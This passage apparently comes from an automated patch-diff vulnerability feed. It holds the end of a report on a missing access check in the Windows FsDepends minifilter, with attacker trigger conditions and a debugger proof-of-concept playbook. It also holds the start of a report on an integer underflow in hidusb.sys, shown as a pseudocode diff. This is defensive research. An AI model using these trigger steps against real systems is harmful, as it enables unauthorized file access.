&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EPILOGUE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Reached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;when&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;startup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;apps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;are&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;===&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0007185&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x38&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000718a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebx&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000718c&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x30&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0007191&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1c0007196&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000719a&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mh"&gt;0x1c000719b&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Returns&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SUCCESS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unconditionally&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Patched Assembly Redirect:&lt;/strong&gt;
In the patched binary the same test is restructured: &lt;code&gt;test al, al&lt;/code&gt; sits at &lt;code&gt;0x1c000704b&lt;/code&gt; followed by &lt;code&gt;jz 0x1c00071c3&lt;/code&gt; at &lt;code&gt;0x1c0007051&lt;/code&gt;. When startup applications are complete (&lt;code&gt;al != 0&lt;/code&gt;) control now falls through into the newly inserted &lt;code&gt;FltGetInstanceContext&lt;/code&gt; (&lt;code&gt;0x1c000708b&lt;/code&gt;) and &lt;code&gt;SeAccessCheck&lt;/code&gt; (&lt;code&gt;0x1c0007111&lt;/code&gt;) call sequence instead of returning immediately. The startup-not-complete autochk path is preserved unchanged at &lt;code&gt;0x1c00071c3&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
&lt;p&gt;To trigger the vulnerability, an attacker must:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ensure the target Windows system has fully booted (such that &lt;code&gt;FsRtlAreVolumeStartupApplicationsComplete()&lt;/code&gt; returns &lt;code&gt;TRUE&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Identify a volume managed by the &lt;code&gt;FsDepends&lt;/code&gt; minifilter (typically virtual disk/VHD-backed or Cloud Files placeholder volumes).&lt;/li&gt;
&lt;li&gt;Identify a target file on such a managed volume whose access the volume's security descriptor would deny to the caller.&lt;/li&gt;
&lt;li&gt;Execute a standard &lt;code&gt;CreateFile&lt;/code&gt; or &lt;code&gt;NtCreateFile&lt;/code&gt; call from an unprivileged user context against the target file.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observable Effect:&lt;/strong&gt; Against the unpatched binary the minifilter does not apply its own authorization gate — &lt;code&gt;DepFSPreCreate&lt;/code&gt; returns &lt;code&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/code&gt; and does not complete the create with &lt;code&gt;STATUS_ACCESS_DENIED&lt;/code&gt;. Against the patched binary the same create is completed by the minifilter with the &lt;code&gt;SeAccessCheck&lt;/code&gt; failure status (&lt;code&gt;FLT_PREOP_COMPLETE&lt;/code&gt;).&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;6. Exploit Primitive &amp;amp; Development Notes&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Primitive:&lt;/strong&gt; Missing driver-level authorization gate. In steady state the unpatched minifilter does not run its own &lt;code&gt;SeAccessCheck&lt;/code&gt; against the managed volume's security descriptor before allowing a create on that volume to proceed.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Scope of demonstrable impact:&lt;/strong&gt; What is provable from the binaries is limited to the presence/absence of this minifilter-level check. The patched build can complete the create with an access-denied status (&lt;code&gt;FLT_PREOP_COMPLETE&lt;/code&gt;) when the volume's security descriptor denies the caller; the unpatched build performs no such check. The broader real-world impact depends on what these managed dependency volumes contain and on how the volume's security descriptor differs from the file's own DACL — neither of which is determinable from the driver binaries alone. No memory-corruption, information-leak, or code-execution primitive is present.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Required Steps:&lt;/strong&gt; No heap spraying, race conditions, or memory manipulation are involved; this is a logical authorization-check difference.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;7. Debugger PoC Playbook&lt;/h2&gt;
&lt;p&gt;For a researcher using WinDbg/KD on the unpatched binary to verify the flaw:&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Breakpoints:&lt;/strong&gt;
Set a breakpoint on the pre-create callback:
&lt;code&gt;bp fsdepends_unpatched!DepFSPreCreate&lt;/code&gt;
Set a breakpoint specifically on the vulnerable conditional jump:
&lt;code&gt;bp fsdepends_unpatched!DepFSPreCreate+0x32&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;What to inspect at each breakpoint:&lt;/strong&gt;
- At &lt;code&gt;DepFSPreCreate&lt;/code&gt; entry: &lt;code&gt;rcx&lt;/code&gt; holds the &lt;code&gt;FLT_CALLBACK_DATA&lt;/code&gt;. &lt;code&gt;rdx&lt;/code&gt; holds &lt;code&gt;PFLT_RELATED_OBJECTS&lt;/code&gt;.
- At &lt;code&gt;DepFSPreCreate+0x32&lt;/code&gt; (&lt;code&gt;0x1c0007042&lt;/code&gt;): Step over (&lt;code&gt;p&lt;/code&gt;). The instruction is &lt;code&gt;jne 0x1c0007185&lt;/code&gt;. Because startup is complete, &lt;code&gt;AL&lt;/code&gt; will be &lt;code&gt;1&lt;/code&gt; (ZF=0), and the jump will be taken. 
- Check the return value: The execution will land at &lt;code&gt;0x1c000718a: mov eax, ebx&lt;/code&gt;. Inspect &lt;code&gt;ebx&lt;/code&gt;; it will be &lt;code&gt;1&lt;/code&gt; (&lt;code&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Trigger setup:&lt;/strong&gt;
1. Open an elevated command prompt and a normal user command prompt.
2. From the normal user prompt, attempt to read or write a restricted file located on a mounted VHD or Cloud Files volume managed by &lt;code&gt;FsDepends&lt;/code&gt;.
3. Observe in the debugger that &lt;code&gt;DepFSPreCreate&lt;/code&gt; intercepts the request, takes the jump at &lt;code&gt;0x1c0007042&lt;/code&gt;, and returns &lt;code&gt;1&lt;/code&gt; (&lt;code&gt;FLT_PREOP_SUCCESS_WITH_CALLBACK&lt;/code&gt;) without calling &lt;code&gt;SeAccessCheck&lt;/code&gt; (which the unpatched binary does not even import).
4. On the patched binary, observe the same create instead reach &lt;code&gt;SeAccessCheck&lt;/code&gt; and, when the volume's security descriptor denies the caller, be completed with &lt;code&gt;FLT_PREOP_COMPLETE&lt;/code&gt; (&lt;code&gt;ebx=4&lt;/code&gt;) and an access-denied &lt;code&gt;IoStatus.Status&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Key Instructions / Offsets:&lt;/strong&gt;
- &lt;code&gt;0x1c0007034&lt;/code&gt;: Call to &lt;code&gt;FsRtlAreVolumeStartupApplicationsComplete()&lt;/code&gt;.
- &lt;code&gt;0x1c0007042&lt;/code&gt;: The missing-check jump (&lt;code&gt;jne 0x1c0007185&lt;/code&gt;).
- &lt;code&gt;0x1c0007185&lt;/code&gt; to &lt;code&gt;0x1c000719b&lt;/code&gt;: The vulnerable success epilogue.&lt;/p&gt;
&lt;h2&gt;8. Changed Functions — Full Triage&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DepFSPreCreate&lt;/code&gt; (Similarity: 0.6365)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; Security-relevant. Added the entire &lt;code&gt;SeAccessCheck&lt;/code&gt; logic block for post-startup &lt;code&gt;IRP_MJ_CREATE&lt;/code&gt; operations. Fixed the CWE-862 vulnerability.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DepFSInstanceSetup&lt;/code&gt; (Similarity: 0.9329)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; Security-relevant. Added 16 bytes to the stack frame. Added calls to &lt;code&gt;FltQuerySecurityObject&lt;/code&gt; and &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt;. This queries the volume's security descriptor during instance setup and stores it at &lt;code&gt;Context+0x78&lt;/code&gt; so &lt;code&gt;DepFSPreCreate&lt;/code&gt; has the data it needs to enforce access control.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;DepFSCleanupVolumeContext&lt;/code&gt; (Similarity: 0.9447)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Change:&lt;/strong&gt; Security-relevant (resource management). Added cleanup logic (&lt;code&gt;ExFreePoolWithTag&lt;/code&gt; with tag &lt;code&gt;0x73447044&lt;/code&gt; / &lt;code&gt;'DpDs'&lt;/code&gt;, at &lt;code&gt;0x1c001042d&lt;/code&gt;) to free the newly allocated security descriptor stored at &lt;code&gt;Context+0x78&lt;/code&gt; when the context is destroyed, preventing a kernel memory leak.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;9. Unmatched Functions&lt;/h2&gt;
&lt;p&gt;There are no added or removed functions between the unpatched and patched binaries. All modifications occurred within existing functions.&lt;/p&gt;
&lt;h2&gt;10. Confidence &amp;amp; Caveats&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence Level:&lt;/strong&gt; High. The logic gap is unambiguous in the assembly and pseudocode. The patched code introduces standard Windows Filter Manager &lt;code&gt;SeAccessCheck&lt;/code&gt; semantics.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; It is assumed that the &lt;code&gt;FsDepends&lt;/code&gt; driver attaches automatically to VHD-backed or Cloud Files volumes. A researcher developing a PoC should verify which specific mount operations trigger &lt;code&gt;DepFSInstanceSetup&lt;/code&gt; to attach the minifilter to the target volume.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification needed:&lt;/strong&gt; A researcher should verify the exact flags required in the &lt;code&gt;CreateFile&lt;/code&gt; call. While &lt;code&gt;GENERIC_READ&lt;/code&gt;/&lt;code&gt;GENERIC_WRITE&lt;/code&gt; should trigger the bypass easily, verifying the exact &lt;code&gt;DesiredAccess&lt;/code&gt; masks mapped by &lt;code&gt;IoGetFileObjectGenericMapping&lt;/code&gt; will help in building a clean, deterministic PoC.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>hidusb.sys — integer underflow leading to out-of-bounds read (CWE-191, CWE-125) in HumParseHidInterface fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/hidusb_ea95ea30-hidusb-report-20260625-234316.html" rel="alternate"/><published>2026-06-25T00:00:00-07:00</published><updated>2026-06-25T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-06-25:/drift-corpus/item/hidusb_ea95ea30-hidusb-report-20260625-234316.html</id><summary type="html">&lt;p&gt;KB5073723&lt;/p&gt;</summary><content type="html">&lt;h3&gt;1. Overview&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;hidusb_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;hidusb_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; &lt;code&gt;0.5635&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; 75 matched functions, 60 changed functions, 15 identical functions, and 0 unmatched functions in either direction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch remediates a medium-severity integer underflow in &lt;code&gt;HumParseHidInterface&lt;/code&gt; that allows a malicious USB device to trigger a kernel out-of-bounds read during enumeration.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;2. Vulnerability Summary&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Medium&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Integer Underflow leading to Out-of-Bounds Read (CWE-191 / CWE-125)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;HumParseHidInterface&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Root Cause:&lt;/strong&gt; The unpatched &lt;code&gt;HumParseHidInterface&lt;/code&gt; receives a pointer to a USB HID interface descriptor and its associated buffer size. It reads the &lt;code&gt;bLength&lt;/code&gt; field from the descriptor and validates that &lt;code&gt;bLength &amp;gt;= 9&lt;/code&gt;, but it immediately computes &lt;code&gt;remaining_size = buffer_size - bLength&lt;/code&gt; &lt;strong&gt;without&lt;/strong&gt; verifying that &lt;code&gt;bLength &amp;lt;= buffer_size&lt;/code&gt;. 
If a malicious USB device supplies a large &lt;code&gt;bLength&lt;/code&gt; (e.g., &lt;code&gt;0xFF&lt;/code&gt;), the subtraction wraps to a massive unsigned value (e.g., &lt;code&gt;~0xFFFFFF00&lt;/code&gt;). This bypasses all subsequent unsigned bounds checks, causing the descriptor parsing loop to iterate and read kernel pool memory far past the end of the allocated buffer. The patch resolves this by introducing a &lt;code&gt;cmp eax, edi; jbe&lt;/code&gt; check to ensure &lt;code&gt;bLength&lt;/code&gt; is less than or equal to the &lt;code&gt;buffer_size&lt;/code&gt; before the subtraction occurs, routing oversize descriptors to a new &lt;code&gt;USB_InterfaceDescriptorOverflow&lt;/code&gt; error path.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Attacker-Reachable Entry Point:&lt;/strong&gt; Physical USB port (Plug and Play enumeration).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Malicious USB device is plugged in → PnP Manager issues &lt;code&gt;IRP_MN_START_DEVICE&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HumPnP&lt;/code&gt; routes the IRP to &lt;code&gt;HumInitDevice&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HumInitDevice&lt;/code&gt; calls &lt;code&gt;HumGetConfigDescriptor&lt;/code&gt; (which calls &lt;code&gt;HumGetDescriptorRequest&lt;/code&gt;) to fetch the configuration descriptor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HumInitDevice&lt;/code&gt; invokes &lt;code&gt;USBD_ParseConfigurationDescriptorEx&lt;/code&gt; to locate the HID interface descriptor.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;HumInitDevice&lt;/code&gt; calls &lt;strong&gt;&lt;code&gt;HumParseHidInterface&lt;/code&gt;&lt;/strong&gt; with the parsed buffer, triggering the vulnerability.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;3. Pseudocode Diff&lt;/h3&gt;
&lt;p&gt;The core vulnerability is an unsigned integer wraparound. The unpatched code checks the minimum size but misses the maximum size.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED (Vulnerable) ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;HumParseHidInterface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev_ext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;desc_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out_ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;desc_buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// VULNERABILITY: No check that bLength &amp;lt;= buf_size&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// UNDERFLOW if bLength &amp;gt; buf_size&lt;/span&gt;

&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;remaining&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Unsigned compare. ~0xFFFFFF00 &amp;gt;= 2 is TRUE!&lt;/span&gt;
&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;// Enters parsing loop with corrupted bounds. OOB reads occur here.&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED (Fixed) ---&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;HumParseHidInterface&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dev_ext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;desc_buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;uint32_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;out_ptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;uint8_t&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;desc_buf&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;9&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;// FIX: Validate bLength against buf_size before subtraction&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;bLength&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buf_size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
